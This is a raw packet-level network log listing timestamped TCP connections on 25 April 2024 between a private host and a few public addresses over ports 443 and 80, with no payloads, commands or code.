Apr 25, 2024 00:49:28.594986916 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.595038891 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.595057011 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.595082045 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.595105886 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.596781969 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.596838951 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.596856117 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.596869946 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.596898079 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.596939087 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.598781109 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.598800898 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.598866940 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.598879099 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.598933935 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.599153996 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.599219084 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.599230051 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.599308014 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.599375963 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.599440098 CEST	49720	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.599467993 CEST	443	49720	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.652760029 CEST	49714	443	192.168.2.16	104.21.57.92
Apr 25, 2024 00:49:28.689644098 CEST	443	49724	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.693681955 CEST	49724	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.693702936 CEST	443	49724	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.695266962 CEST	443	49724	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.695425987 CEST	49724	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.695590019 CEST	49724	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.695691109 CEST	443	49724	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.695775032 CEST	49724	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.696131945 CEST	443	49714	104.21.57.92	192.168.2.16
Apr 25, 2024 00:49:28.737658024 CEST	49724	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.737675905 CEST	443	49724	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.744169950 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.744287968 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.744393110 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.744612932 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.744652987 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.785615921 CEST	49724	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.947734118 CEST	49689	80	192.168.2.16	192.229.211.108
Apr 25, 2024 00:49:28.956309080 CEST	443	49724	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.956521034 CEST	443	49724	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.956657887 CEST	49724	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.957245111 CEST	49724	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.957264900 CEST	443	49724	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.967438936 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.967681885 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.967730045 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.968044043 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.968310118 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.968391895 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:28.968426943 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.968472958 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:28.968498945 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294286013 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294323921 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294348955 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294363976 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294430971 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.294490099 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294531107 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.294691086 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294734001 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294751883 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.294759035 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294771910 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294825077 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.294857025 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.294910908 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.295277119 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.295392036 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.295483112 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.295536995 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.295538902 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.295555115 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.295586109 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.295999050 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296072006 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296133995 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.296149969 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296214104 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.296226978 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296334028 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296408892 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296466112 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.296480894 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296529055 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.296541929 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296655893 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296761036 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296835899 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296848059 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.296861887 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.296897888 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.296987057 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297065020 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297118902 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.297132969 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297192097 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.297204018 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297321081 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297458887 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297517061 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.297532082 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297590971 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.297602892 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297745943 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297821999 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297880888 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.297895908 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.297955990 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.297969103 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298058033 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298144102 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298192024 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.298206091 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298259974 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.298271894 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298337936 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298397064 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298444986 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.298455000 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298475027 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298506021 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.298547029 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298589945 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.298603058 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298681021 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298759937 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298809052 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.298823118 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.298871994 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.299359083 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.299408913 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.299516916 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.299585104 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.299599886 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.299649954 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.346170902 CEST	443	49714	104.21.57.92	192.168.2.16
Apr 25, 2024 00:49:29.346334934 CEST	443	49714	104.21.57.92	192.168.2.16
Apr 25, 2024 00:49:29.346436024 CEST	49714	443	192.168.2.16	104.21.57.92
Apr 25, 2024 00:49:29.347089052 CEST	49714	443	192.168.2.16	104.21.57.92
Apr 25, 2024 00:49:29.347111940 CEST	443	49714	104.21.57.92	192.168.2.16
Apr 25, 2024 00:49:29.404704094 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.405637980 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.405771017 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.405855894 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.405894995 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.405947924 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.406106949 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.406193018 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.406300068 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.406352997 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.406359911 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.406378031 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.406409025 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.406516075 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.406785011 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.406840086 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.406853914 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.406903982 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.406914949 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.406986952 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.407097101 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.407145977 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.407151937 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.407166958 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.407195091 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.407789946 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.407927036 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.407989979 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.408004045 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.408060074 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.408071995 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.408202887 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.408298969 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.408360958 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.408375978 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.408436060 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.408446074 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.408622026 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.408798933 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.408862114 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.408876896 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.408937931 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.408950090 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.409100056 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.409271955 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.409332991 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.409347057 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.409406900 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.409416914 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.409629107 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.409756899 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.409827948 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.409846067 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.409902096 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.409913063 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.410038948 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.410168886 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.410226107 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.410240889 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.410303116 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.410314083 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.410717010 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.410828114 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.410886049 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.410901070 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.410957098 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.410968065 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.411068916 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.411168098 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.411226988 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.411242008 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.411308050 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.411340952 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.411534071 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.411729097 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.411787987 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.411803007 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.411870003 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.411885977 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.411897898 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.413383961 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.413398027 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.454602003 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.458647013 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.458694935 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.458815098 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.458991051 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.459007978 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.514628887 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.514646053 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.514709949 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.514740944 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.514771938 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.514790058 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.514811039 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.516132116 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.516350985 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.516360044 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.516370058 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.516450882 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.516458988 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.516503096 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.516511917 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.517025948 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.517066956 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.517105103 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.517117977 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.517178059 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.517190933 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.517406940 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.517640114 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.517702103 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.517719030 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.517765045 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.517776966 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.517947912 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.518079042 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.518138885 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.518157959 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.518204927 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.518232107 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.518604994 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.518667936 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.518685102 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.518718958 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.518902063 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.518928051 CEST	443	49725	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.518951893 CEST	49725	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.521595955 CEST	49728	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.521631956 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.521742105 CEST	49728	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.521969080 CEST	49728	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.521985054 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.692558050 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.692883968 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.692915916 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.695277929 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.695365906 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.696347952 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.696506023 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.696561098 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.740626097 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.740664959 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.745594025 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.745848894 CEST	49728	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.745862007 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.746182919 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.746548891 CEST	49728	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.746612072 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.746651888 CEST	49728	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.787621021 CEST	49728	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.787630081 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.787676096 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.860676050 CEST	49729	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.860778093 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.860887051 CEST	49729	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.861094952 CEST	49729	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:29.861134052 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:29.935437918 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.935537100 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.935604095 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.935714960 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.935734034 CEST	443	49727	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.935744047 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.935786963 CEST	49727	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.936188936 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.936289072 CEST	443	49730	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:29.936371088 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.936558962 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:29.936593056 CEST	443	49730	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:30.013448954 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.013513088 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.013582945 CEST	49728	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.014019012 CEST	49728	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.014041901 CEST	443	49728	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.092688084 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.092972994 CEST	49729	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.093015909 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.094297886 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.094583988 CEST	49729	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.094707966 CEST	49729	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.094721079 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.094772100 CEST	443	49729	104.17.3.184	192.168.2.16
Apr 25, 2024 00:49:30.137595892 CEST	49729	443	192.168.2.16	104.17.3.184
Apr 25, 2024 00:49:30.167490005 CEST	443	49730	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:30.167756081 CEST	49730	443	192.168.2.16	35.190.80.1
Apr 25, 2024 00:49:30.167773962 CEST	443	49730	35.190.80.1	192.168.2.16
Apr 25, 2024 00:49:30.169940948 CEST	443	49730	35.190.80.1	192.168.2.16
